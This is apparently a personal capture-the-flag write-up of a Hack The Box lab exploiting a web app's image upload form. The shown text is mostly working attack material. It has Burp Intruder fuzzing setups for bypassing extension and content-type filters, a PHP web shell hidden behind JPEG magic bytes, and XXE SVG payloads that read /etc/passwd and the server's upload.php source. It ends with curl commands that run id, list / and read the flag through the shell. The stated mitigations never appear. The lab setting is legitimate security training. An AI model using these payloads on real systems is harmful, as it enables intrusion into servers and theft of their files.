FILE UPLOAD ATTACKS

OBJECTIVE: perform a file upload attack penetration test on a company's e-commerce web application to gain RCE on the back-end server. report the main security issues found with the web application and the necessary security measures to mitigate these issues and prevent further exploitation.

Try to exploit the upload form to read the flag found at the root directory "/".
#identify a potential vulnerable upload form
root@oco:~$ BROWSER > {targetSite:port} > contact
 * http://94.237.63.109:33232/contact/
    - form accepts an image file
	
#identify client-side validation in use by viewing the upload form's source code
root@oco:~$ BROWSER > http://94.237.63.109:33232/contact/ > CTRL+U
 * <head>...<script src="/contact/script.js"></script></head>
   http://94.237.63.109:33232/contact/script.js
   function checkFile(File) {
     var file = File.files[0];
     var filename = file.name;
     var extension = filename.split('.').pop();

     if (extension !== 'jpg' && extension !== 'jpeg' && extension !== 'png') {
       $('#upload_message').text("Only images are allowed");
       File.form.reset();
     } else {
       $("#inputGroupFile01").text(filename);
       }
   }

  $(document).ready(function () {
    $("#upload").click(function (event) {
      event.preventDefault();
      var fd = new FormData();
      var files = $('#uploadFile')[0].files[0];
      fd.append('uploadFile', files);

      if (!files) {
        $('#upload_message').text("Please select a file");
      } else {
        $.ajax({
        url: '/contact/upload.php',
        type: 'post',
        data: fd,
        contentType: false,
        processData: false,
        success: function (response) {
          if (response.trim() != '') {
            $("#upload_message").html(response);
          } else {
            window.location.reload();
          }
        },
      });
    }
  });
});

 * pertinent info
    - the form has a front-end blacklist & only accept images such as jpg/jpeg & png 
    - assuming the page has a blacklist & whitelist extension validation
	- assuming the page has a content filter validation
	
root@oco:~$ BROWSER > GOOGLE SEARCH > jpeg images small > save as image.jpeg
 * download a jpeg image to use

#identify back-end whitelist/blacklist validation by fuzzing for allowable extensions
root@oco:~$ curl -O https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/refs/heads/master/Upload%20Insecure%20Files/Extension%20PHP/extensions.lst


root@oco:~$ burpsuite
root@oco:~$ BROWSER > FoxyProxy > Burp
root@oco:~$ BURP SUITE > Proxy > Intercept is on
root@oco:~$ BROWSER > {targetSite:port}
 upload field: {select image to upload}
 * submit the expected user input
    - use the "Green" Upload button NOT the "Submit" button
 
BURP > Proxy > Intercept > Raw > right-click > Send to Intruder
BURP > Intruder > Positions
 Attack Type: Sniper
 Payload Positions:
 
  POST /contact/upload.php HTTP/1.1
   -----WebKitFormBoundaryXvLRx8BgiX2Auozf
  Content-Disposition: form-data; name="uploadFile"; filename="image.$phpExtension$.jpeg"
  Content-Type: image/jpeg
  
  ÿØÿà
  <?php system($_REQUEST['cmd']); ?>
  * delete everything else!

  ------WebKitFormBoundaryXvLRx8BgiX2Auozf--
 
 Payloads
  Payload Sets: default
  Payload Settings > Load > extensions.lst
  Payload Processing: default
  Payload Encoding
   URL-encode these characters: disabled
    - this avoids encoding the (.) before the file extension
 Start Attack!
  * allowed extensions: 
     - .pht.jpeg, .phtm.jpeg, .php\x00.gif.jpeg, .php\x00.png, .php\x00.jpg, .phar.jpeg, .pgif.jpeg
	 
  * if you receive error messages such as "only images are allowed (whitelist)" and "extension not allowed (blacklist)" it means that back-end whitelist or blacklist are in placed
	 - modify the payload to bypass whitelist/blacklist on the back-end

#identify back-end content-type validation (if any) via fuzzing
root@oco:~$ curl -O https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/Web-Content/web-all-content-types.txt
root@oco:~$ cat web-all-content-types.txt | grep 'image/' > image-content-types.txt

BURP > Intruder > Positions
 Attack Type: Sniper
  Payload Positions:
  
  POST /contact/upload.php HTTP/1.1
   -----WebKitFormBoundaryXvLRx8BgiX2Auozf
  Content-Disposition: form-data; name="uploadFile"; filename="image.phar.jpeg"
  Content-Type: $image/jpeg$
  
  ÿØÿà
  <?php system($_REQUEST['cmd']); ?>
  * delete everything else!

  ------WebKitFormBoundaryXvLRx8BgiX2Auozf-

 Payloads
  Payload Sets: default
  Payload Settings > Load > image-content-types.txt
  Payload Processing: default
  Payload Encoding
   URL-encode these characters: disabled
    - this avoids encoding the (.) before the file extension
 Start Attack!
  * allowed content-types:
     - image/jpeg, image/png, image/pwg-raster, image/svg+xml
 
root@oco:~$ nano image.phar.jpeg

  -----WebKitFormBoundaryXvLRx8BgiX2Auozf
  Content-Disposition: form-data; name="uploadFile"; filename="image.phar.jpeg"
  Content-Type: $image/jpeg$
  
  ÿØÿà
  <?php system($_REQUEST['cmd']); ?>
  * delete everything else!

  ------WebKitFormBoundaryXvLRx8BgiX2Auozf--
  
  
Burp > Intruder Attack of http://{targetSite:port} > Response
 * sort the results by Length to see all the allowed content types
    - the response should be file successfully uploaded
Burp > Intruder Attack of http://{targetSite:port} > Response > right-click successful request > Send to Repeater 
 
 ------WebKitFormBoundarymdD3eydlw3JorBz8
 Content-Disposition: form-data; name="uploadFile"; filename="download.phar.jpeg"
 Content-Type: image/svg+xml

 ÿØÿà
 <?php system($_REQUEST['cmd']); ?>
 * delete these two and replace with the once below
 
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
 <svg>&xxe;</svg>
 
 ------WebKitFormBoundarymdD3eydlw3JorBz8--
 
 #repeat the above for another Payload

  ------WebKitFormBoundarymdD3eydlw3JorBz8
 Content-Disposition: form-data; name="uploadFile"; filename="download.phar.jpeg"
 Content-Type: image/svg+xml
 
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
 <svg>&xxe;</svg>
  ------WebKitFormBoundarymdD3eydlw3JorBz8--
  
  Response...
  PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K
  
  root@oco:~$ echo PD9waHAKcmVxdWlyZV9vbmNlKCcuL2NvbW1vbi1mdW5jdGlvbnMucGhwJyk7CgovLyB1cGxvYWRlZCBmaWxlcyBkaXJlY3RvcnkKJHRhcmdldF9kaXIgPSAiLi91c2VyX2ZlZWRiYWNrX3N1Ym1pc3Npb25zLyI7CgovLyByZW5hbWUgYmVmb3JlIHN0b3JpbmcKJGZpbGVOYW1lID0gZGF0ZSgneW1kJykgLiAnXycgLiBiYXNlbmFtZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bIm5hbWUiXSk7CiR0YXJnZXRfZmlsZSA9ICR0YXJnZXRfZGlyIC4gJGZpbGVOYW1lOwoKLy8gZ2V0IGNvbnRlbnQgaGVhZGVycwokY29udGVudFR5cGUgPSAkX0ZJTEVTWyd1cGxvYWRGaWxlJ11bJ3R5cGUnXTsKJE1JTUV0eXBlID0gbWltZV9jb250ZW50X3R5cGUoJF9GSUxFU1sndXBsb2FkRmlsZSddWyd0bXBfbmFtZSddKTsKCi8vIGJsYWNrbGlzdCB0ZXN0CmlmIChwcmVnX21hdGNoKCcvLitcLnBoKHB8cHN8dG1sKS8nLCAkZmlsZU5hbWUpKSB7CiAgICBlY2hvICJFeHRlbnNpb24gbm90IGFsbG93ZWQiOwogICAgZGllKCk7Cn0KCi8vIHdoaXRlbGlzdCB0ZXN0CmlmICghcHJlZ19tYXRjaCgnL14uK1wuW2Etel17MiwzfWckLycsICRmaWxlTmFtZSkpIHsKICAgIGVjaG8gIk9ubHkgaW1hZ2VzIGFyZSBhbGxvd2VkIjsKICAgIGRpZSgpOwp9CgovLyB0eXBlIHRlc3QKZm9yZWFjaCAoYXJyYXkoJGNvbnRlbnRUeXBlLCAkTUlNRXR5cGUpIGFzICR0eXBlKSB7CiAgICBpZiAoIXByZWdfbWF0Y2goJy9pbWFnZVwvW2Etel17MiwzfWcvJywgJHR5cGUpKSB7CiAgICAgICAgZWNobyAiT25seSBpbWFnZXMgYXJlIGFsbG93ZWQiOwogICAgICAgIGRpZSgpOwogICAgfQp9CgovLyBzaXplIHRlc3QKaWYgKCRfRklMRVNbInVwbG9hZEZpbGUiXVsic2l6ZSJdID4gNTAwMDAwKSB7CiAgICBlY2hvICJGaWxlIHRvbyBsYXJnZSI7CiAgICBkaWUoKTsKfQoKaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWyJ1cGxvYWRGaWxlIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsKICAgIGRpc3BsYXlIVE1MSW1hZ2UoJHRhcmdldF9maWxlKTsKfSBlbHNlIHsKICAgIGVjaG8gIkZpbGUgZmFpbGVkIHRvIHVwbG9hZCI7Cn0K | base64 -d
 
  <?php
require_once('./common-functions.php');

// uploaded files directory
$target_dir = "./user_feedback_submissions/";

// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;

// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);

// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
    echo "Extension not allowed";
    die();
}

// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
    echo "Only images are allowed";
    die();
}

// type test
foreach (array($contentType, $MIMEtype) as $type) {
    if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
        echo "Only images are allowed";
        die();
    }
}

// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
    echo "File too large";
    die();
}

if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
    displayHTMLImage($target_file);
} else {
    echo "File failed to upload";
}

#upload a cmd shell
 
 
 ------WebKitFormBoundarymdD3eydlw3JorBz8
 Content-Disposition: form-data; name="uploadFile"; filename="download.phar.jpeg"
 Content-Type: image/jpeg

 ÿØÿà
 <?php system($_REQUEST['cmd']); ?>
 
 ------WebKitFormBoundarymdD3eydlw3JorBz8--
 
 
 curl -v http://94.237.63.109:43162/contact/user_feedback_submissions/241201_download.phar.jpeg?cmd=id
  * uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
 curl -v http://94.237.63.109:43162/contact/user_feedback_submissions/241201_download.phar.jpeg?cmd=ls%20%2f
  * flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
 
 curl -v http://94.237.63.109:43162/contact/user_feedback_submissions/241201_download.phar.jpeg?cmd=cat%20%2Fflag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt
 HTB{m4573r1ng_upl04d_3xpl0174710n}

Last updated